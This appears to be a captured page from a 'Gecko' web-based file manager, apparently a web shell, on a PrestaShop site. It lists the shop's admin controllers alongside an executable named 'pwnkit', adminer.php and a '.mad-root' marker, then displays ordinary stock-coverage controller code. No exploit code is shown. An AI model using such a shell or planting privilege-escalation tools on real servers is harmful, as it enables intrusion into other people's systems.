Gecko [ musique.opus-31.fr ]

Name	Size	Permission
.mad-root	0 B	-rw-r--r--
AdminAccessController.php	7.63 KB	-rw----r--
AdminAddonsCatalogController.p...	1.98 KB	-rw----r--
AdminAddressesController.php	15.46 KB	-rw----r--
AdminAdminPreferencesControlle...	7.88 KB	-rw----r--
AdminAttachmentsController.php	7.29 KB	-rw----r--
AdminAttributeGeneratorControl...	8.69 KB	-rw----r--
AdminAttributesGroupsControlle...	28.13 KB	-rw----r--
AdminBackupController.php	8.91 KB	-rw----r--
AdminCarrierWizardController.p...	29.49 KB	-rw----r--
AdminCarriersController.php	22.76 KB	-rw----r--
AdminCartRulesController.php	27.36 KB	-rw----r--
AdminCartsController.php	33.12 KB	-rw----r--
AdminCategoriesController.php	28.58 KB	-rw----r--
AdminCmsCategoriesController.p...	10.89 KB	-rw----r--
AdminCmsContentController.php	11.05 KB	-rw----r--
AdminCmsController.php	14.58 KB	-rw----r--
AdminContactsController.php	3.81 KB	-rw----r--
AdminCountriesController.php	14.92 KB	-rw----r--
AdminCurrenciesController.php	11.03 KB	-rw----r--
AdminCustomerPreferencesContro...	4.12 KB	-rw----r--
AdminCustomerThreadsController...	34.39 KB	-rw----r--
AdminCustomersController.php	33.1 KB	-rw----r--
AdminDashboardController.php	15.28 KB	-rw----r--
AdminDeliverySlipController.ph...	4.02 KB	-rw----r--
AdminEmailsController.php	9.18 KB	-rw----r--
AdminEmployeesController.php	21.16 KB	-rw----r--
AdminFeaturesController.php	17.44 KB	-rw----r--
AdminGendersController.php	5.79 KB	-rw----r--
AdminGeolocationController.php	6.01 KB	-rw----r--
AdminGroupsController.php	18.53 KB	-rw----r--
AdminImagesController.php	24.85 KB	-rw----r--
AdminImportController.php	134.18 KB	-rw----r--
AdminInformationController.php	6.49 KB	-rw----r--
AdminInvoicesController.php	8.78 KB	-rw----r--
AdminLanguagesController.php	17.8 KB	-rw----r--
AdminLocalizationController.ph...	12.33 KB	-rw----r--
AdminLoginController.php	9.64 KB	-rw----r--
AdminLogsController.php	3.71 KB	-rw----r--
AdminMaintenanceController.php	2.06 KB	-rw----r--
AdminManufacturersController.p...	23.4 KB	-rw----r--
AdminMarketingController.php	1.63 KB	-rw----r--
AdminMetaController.php	24.65 KB	-rw----r--
AdminModulesController.php	61.15 KB	-rw----r--
AdminModulesPositionsControlle...	21.8 KB	-rw----r--
AdminNotFoundController.php	1.46 KB	-rw----r--
AdminOrderMessageController.ph...	2.67 KB	-rw----r--
AdminOrderPreferencesControlle...	6.37 KB	-rw----r--
AdminOrdersController.php	101.09 KB	-rw----r--
AdminOutstandingController.php	4.95 KB	-rw----r--
AdminPPreferencesController.ph...	10.81 KB	-rw----r--
AdminPatternsController.php	18.18 KB	-rw----r--
AdminPaymentController.php	8.99 KB	-rw----r--
AdminPdfController.php	6.83 KB	-rw----r--
AdminPerformanceController.php	32.64 KB	-rw----r--
AdminPreferencesController.php	6.98 KB	-rw----r--
AdminProductsController.php	183.23 KB	-rw----r--
AdminProfilesController.php	3.13 KB	-rw----r--
AdminQuickAccessesController.p...	4.5 KB	-rw----r--
AdminRangePriceController.php	5.27 KB	-rw----r--
AdminRangeWeightController.php	5.23 KB	-rw----r--
AdminReferrersController.php	14.62 KB	-rw----r--
AdminRequestSqlController.php	13.46 KB	-rw----r--
AdminReturnController.php	9.67 KB	-rw----r--
AdminScenesController.php	10.96 KB	-rw----r--
AdminSearchConfController.php	10.74 KB	-rw----r--
AdminSearchController.php	16.16 KB	-rw----r--
AdminSearchEnginesController.p...	2.65 KB	-rw----r--
AdminShippingController.php	6.4 KB	-rw----r--
AdminShopController.php	26.41 KB	-rw----r--
AdminShopGroupController.php	10.74 KB	-rw----r--
AdminShopUrlController.php	15.56 KB	-rw----r--
AdminSlipController.php	5.46 KB	-rw----r--
AdminSpecificPriceRuleControll...	10.24 KB	-rw----r--
AdminStatesController.php	8.51 KB	-rw----r--
AdminStatsController.php	32.5 KB	-rw----r--
AdminStatsTabController.php	10.03 KB	-rw----r--
AdminStatusesController.php	18.24 KB	-rw----r--
AdminStockConfigurationControl...	18.57 KB	-rw----r--
AdminStockCoverController.php	12.28 KB	-rw----r--
AdminStockInstantStateControll...	17.52 KB	-rw----r--
AdminStockManagementController...	38.91 KB	-rw----r--
AdminStockMvtController.php	9.54 KB	-rw----r--
AdminStoresController.php	17.15 KB	-rw----r--
AdminSuppliersController.php	16.21 KB	-rw----r--
AdminSupplyOrdersController.ph...	73.41 KB	-rw----r--
AdminTabsController.php	9.17 KB	-rw----r--
AdminTagsController.php	4.04 KB	-rw----r--
AdminTaxRulesGroupController.p...	14.35 KB	-rw----r--
AdminTaxesController.php	8.92 KB	-rw----r--
AdminThemesController.php	92.51 KB	-rw----r--
AdminTrackingController.php	11.15 KB	-rw----r--
AdminTranslationsController.ph...	106.53 KB	-rw----r--
AdminWarehousesController.php	18.56 KB	-rw----r--
AdminWebserviceController.php	8.44 KB	-rw----r--
AdminZonesController.php	3.38 KB	-rw----r--
adminer.php	465.43 KB	-rw-r--r--
autoload_classmap.php	0 B	-r--r--r--
index.php	1.24 KB	-rw----r--
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : AdminStockCoverController.php

<?php
/*
* 2007-2014 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@prestashop.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade PrestaShop to newer
* versions in the future. If you wish to customize PrestaShop for your
* needs please refer to http://www.prestashop.com for more information.
*
*  @author PrestaShop SA <contact@prestashop.com>
*  @copyright  2007-2014 PrestaShop SA
*  @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
*  International Registered Trademark & Property of PrestaShop SA
*/

/**
 * @since 1.5.0
 */
class AdminStockCoverControllerCore extends AdminController
{
	protected $stock_cover_warehouses;
	protected $stock_cover_periods;

public function __construct()
	{
		$this->bootstrap = true;
		$this->context = Context::getContext();
		$this->table = 'product';
		$this->className = 'Product';
		$this->list_id = 'product';
		$this->lang = true;
		$this->colorOnBackground = true;
		$this->multishop_context = Shop::CONTEXT_ALL;
		$this->tpl_list_vars['show_filter'] = true;

$this->fields_list = array(
			'reference' => array(
				'title' => $this->l('Reference'),
				'align' => 'center',
				'filter_key' => 'a!reference'
			),
			'ean13' => array(
				'title' => $this->l('EAN13'),
				'align' => 'center',
				'filter_key' => 'a!ean13'
			),
			'upc' => array(
				'title' => $this->l('UPC'),
				'align' => 'center',
				'filter_key' => 'a!upc'
			),
			'name' => array(
				'title' => $this->l('Name'),
				'filter_key' => 'b!name'
			),
			'qty_sold' => array(
				'title' => $this->l('Quantity sold'),
				'orderby' => false,
				'search' => false,
				'hint' => $this->l('Quantity sold during the defined period.'),
			),
			'coverage' => array(
				'title' => $this->l('Coverage'),
				'orderby' => false,
				'search' => false,
				'hint' => $this->l('Days left before your stock runs out.'),
			),
			'stock' => array(
				'title' => $this->l('Quantity'),
				'orderby' => false,
				'search' => false,
				'hint' => $this->l('Physical (usable) quantity.')
			),
		);

// pre-defines coverage periods
		$this->stock_cover_periods = array(
			$this->l('One week') => 7,
			$this->l('Two weeks') => 14,
			$this->l('Three weeks') => 21,
			$this->l('One month') => 31,
			$this->l('Six months') => 186,
			$this->l('One year') => 365
		);

// gets the list of warehouses available
		$this->stock_cover_warehouses = Warehouse::getWarehouses(true);
		// gets the final list of warehouses
		array_unshift($this->stock_cover_warehouses, array('id_warehouse' => -1, 'name' => $this->l('All Warehouses')));

parent::__construct();
	}

public function initPageHeaderToolbar()
	{
		$this->page_header_toolbar_title = $this->l('Stock coverage');

if ($this->display == 'details')
			$this->page_header_toolbar_btn['back_to_list'] = array(
				'href' => Context::getContext()->link->getAdminLink('AdminStockCover')
					.(Tools::getValue('coverage_period') ? '&coverage_period='.Tools::getValue('coverage_period') : '')
					.(Tools::getValue('warn_days') ? '&warn_days='.Tools::getValue('warn_days') : '')
					.(Tools::getValue('id_warehouse') ? '&id_warehouse='.Tools::getValue('id_warehouse') : ''),
				'desc' => $this->l('Back to list', null, null, false),
				'icon' => 'process-icon-back'
			);

parent::initPageHeaderToolbar();
	}

public function renderDetails()
	{
		if (Tools::isSubmit('id_product')) // if a product id is submit
		{
			$this->lang = false;
			$this->list_id = 'details';
			$this->tpl_list_vars['show_filter'] = false;
			$this->actions = array();
			$this->list_simple_header = true;
			$this->table = 'product_attribute';
			$lang_id = (int)$this->context->language->id;
			$id_product = (int)Tools::getValue('id_product');
			$period = (Tools::getValue('period') ? (int)Tools::getValue('period') : 7);
			$warehouse = Tools::getValue('id_warehouse', -1);
			$where_warehouse = '';
			if ($warehouse != -1)
				$where_warehouse = ' AND s.id_warehouse = '.(int)$warehouse;

$this->_select = 'a.id_product_attribute as id, a.id_product, stock_view.reference, stock_view.ean13,
							stock_view.upc, stock_view.usable_quantity as stock';
			$this->_join = ' INNER JOIN
						  (
						  	SELECT SUM(s.usable_quantity) as usable_quantity, s.id_product_attribute, s.reference, s.ean13, s.upc
						   	FROM '._DB_PREFIX_.'stock s
						   	WHERE s.id_product = '.($id_product).
							$where_warehouse.'
						   	GROUP BY s.id_product_attribute
						   )
						   stock_view ON (stock_view.id_product_attribute = a.id_product_attribute)';
			$this->_where = 'AND a.id_product = '.$id_product;
			$this->_groupBy = 'a.id_product_attribute';
			return parent::renderList();
		}
	}

/**
	 * AdminController::renderList() override
	 * @see AdminController::renderList()
	 */
	public function renderList()
	{
		$this->addRowAction('details');

$this->toolbar_btn = array();

// disables link
		$this->list_no_link = true;

// query
		$this->_select = 'a.id_product as id, COUNT(pa.id_product_attribute) as variations, SUM(s.usable_quantity) as stock';
		$this->_join = 'LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pa.id_product = a.id_product)
						'.Shop::addSqlAssociation('product_attribute', 'pa', false).'
						INNER JOIN `'._DB_PREFIX_.'stock` s ON (s.id_product = a.id_product)';
		$this->_group = 'GROUP BY a.id_product';

self::$currentIndex .= '&coverage_period='.(int)$this->getCurrentCoveragePeriod().'&warn_days='.(int)$this->getCurrentWarning();
		if ($this->getCurrentCoverageWarehouse() != -1)
		{
			$this->_where .= ' AND s.id_warehouse = '.(int)$this->getCurrentCoverageWarehouse();
			self::$currentIndex .= '&id_warehouse='.(int)$this->getCurrentCoverageWarehouse();
		}

// Hack for multi shop ..
		$this->_where .= ' AND b.id_shop = 1';

$this->tpl_list_vars['stock_cover_periods'] = $this->stock_cover_periods;
		$this->tpl_list_vars['stock_cover_cur_period'] = $this->getCurrentCoveragePeriod();
		$this->tpl_list_vars['stock_cover_warehouses'] = $this->stock_cover_warehouses;
		$this->tpl_list_vars['stock_cover_cur_warehouse'] = $this->getCurrentCoverageWarehouse();
		$this->tpl_list_vars['stock_cover_warn_days'] = $this->getCurrentWarning();
		$this->ajax_params = array(
			'period' => $this->getCurrentCoveragePeriod(),
			'id_warehouse' => $this->getCurrentCoverageWarehouse(),
			'warn_days' => $this->getCurrentWarning()
		);

$this->displayInformation($this->l('Considering the coverage period chosen and the quantity of products/combinations that you sold.'));
		$this->displayInformation($this->l('This interface gives you an idea of when a product will run out of stock.'));

return parent::renderList();
	}

/**
	 * AdminController::getList() override
	 * @see AdminController::getList()
	 */
	public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false)
	{
		parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop);

if ($this->display == 'details')
		{
			$nb_items = count($this->_list);

for ($i = 0; $i < $nb_items; ++$i)
			{
				$item = &$this->_list[$i];
				$item['name'] = Product::getProductName($item['id_product'], $item['id']);

// computes coverage
				$coverage = StockManagerFactory::getManager()->getProductCoverage(
					$item['id_product'],
					$item['id'],
					(Tools::getValue('period') ? (int)Tools::getValue('period') : 7),
					(($this->getCurrentCoverageWarehouse() == -1) ? null : Tools::getValue('id_warehouse', -1))
				);
				if ($coverage != -1)  // if coverage is available
				{
					if ($coverage < $this->getCurrentWarning()) // if highlight needed
						$item['color'] = '#BDE5F8';
					$item['coverage'] = $coverage;
				}
				else // infinity
					$item['coverage'] = '--';

// computes quantity sold
				$qty_sold = $this->getQuantitySold($item['id_product'], $item['id'], $this->getCurrentCoveragePeriod());
				if (!$qty_sold)
					$item['qty_sold'] = '--';
				else
					$item['qty_sold'] = $qty_sold;
			}
		}
		else
		{
			$nb_items = count($this->_list);
			for ($i = 0; $i < $nb_items; ++$i)
			{
				$item = &$this->_list[$i];
				if (array_key_exists('variations', $item) && (int)$item['variations'] <= 0)
				{
					// computes coverage and displays (highlights if needed)
					$coverage = StockManagerFactory::getManager()->getProductCoverage(
									$item['id'],
									0,
									$this->getCurrentCoveragePeriod(),
									(($this->getCurrentCoverageWarehouse() == -1) ? null : $this->getCurrentCoverageWarehouse())
					);
					if ($coverage != -1) // coverage is available
					{
						if ($coverage < $this->getCurrentWarning())
							$item['color'] = '#BDE5F8';

$item['coverage'] = $coverage;
					}
					else // infinity
						$item['coverage'] = '--';

// computes quantity sold
					$qty_sold = $this->getQuantitySold($item['id'], 0, $this->getCurrentCoveragePeriod());
					if (!$qty_sold)
						$item['qty_sold'] = '--';
					else
						$item['qty_sold'] = $qty_sold;

// removes 'details' action on products without attributes
					$this->addRowActionSkipList('details', array($item['id']));

}
				else
				{
					$item['stock'] = $this->l('See details');
					$item['reference'] = '--';
					$item['ean13'] = '--';
					$item['upc'] = '--';
				}
			}
		} 	
	}

/**
	 * Gets the current coverage period used
	 *
	 * @return int coverage period
	 */
	protected function getCurrentCoveragePeriod()
	{
		static $coverage_period = 0;

if ($coverage_period == 0)
		{
			$coverage_period = 7; // Week by default
			if ((int)Tools::getValue('coverage_period'))
				$coverage_period = (int)Tools::getValue('coverage_period');
		}
		return $coverage_period;
	}

/**
	 * Gets the current warehouse used
	 *
	 * @return int id_warehouse
	 */
	protected function getCurrentCoverageWarehouse()
	{
		static $warehouse = 0;

if ($warehouse == 0)
		{
			$warehouse = -1; // all warehouses
			if ((int)Tools::getValue('id_warehouse'))
				$warehouse = (int)Tools::getValue('id_warehouse');
		}
		return $warehouse;
	}

/**
	 * Gets the current warning
	 *
	 * @return int warn_days
	 */
	protected function getCurrentWarning()
	{
		static $warning = 0;

if ($warning == 0)
		{
			$warning = 0;
			if (Tools::getValue('warn_days') && Validate::isInt(Tools::getValue('warn_days')))
				$warning = (int)Tools::getValue('warn_days');
		}
		return $warning;
	}

/**
	 * For a given product, and a given period, returns the quantity sold
	 *
	 * @param int $id_product
	 * @param int $id_product_attribute
	 * @param int $coverage
	 * @return int $quantity
	 */
	protected function getQuantitySold($id_product, $id_product_attribute, $coverage)
	{
		$query = new DbQuery();
		$query->select('SUM(od.product_quantity)');
		$query->from('order_detail', 'od');
		$query->leftJoin('orders', 'o', 'od.id_order = o.id_order');
		$query->leftJoin('order_history', 'oh', 'o.date_upd = oh.date_add');
		$query->leftJoin('order_state', 'os', 'os.id_order_state = oh.id_order_state');
		$query->where('od.product_id = '.(int)$id_product);
		$query->where('od.product_attribute_id = '.(int)$id_product_attribute);
		$query->where('TO_DAYS(NOW()) - TO_DAYS(oh.date_add) <= '.(int)$coverage);
		$query->where('o.valid = 1');
		$query->where('os.logable = 1 AND os.delivery = 1 AND os.shipped = 1');

$quantity = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query);
		return $quantity;
	}
	
	public function initContent()
	{
		if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'))
		{
			$this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.');
			return false;
		}
		parent::initContent();
	}
	
	public function initProcess()
	{
		if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'))
		{
			$this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.');
			return false;
		}

if (Tools::isSubmit('detailsproduct'))
			$this->list_id = 'details';
		else
			$this->list_id = 'product';

parent::initProcess();	
	}
}

${this.title}

Code Editor : AdminStockCoverController.php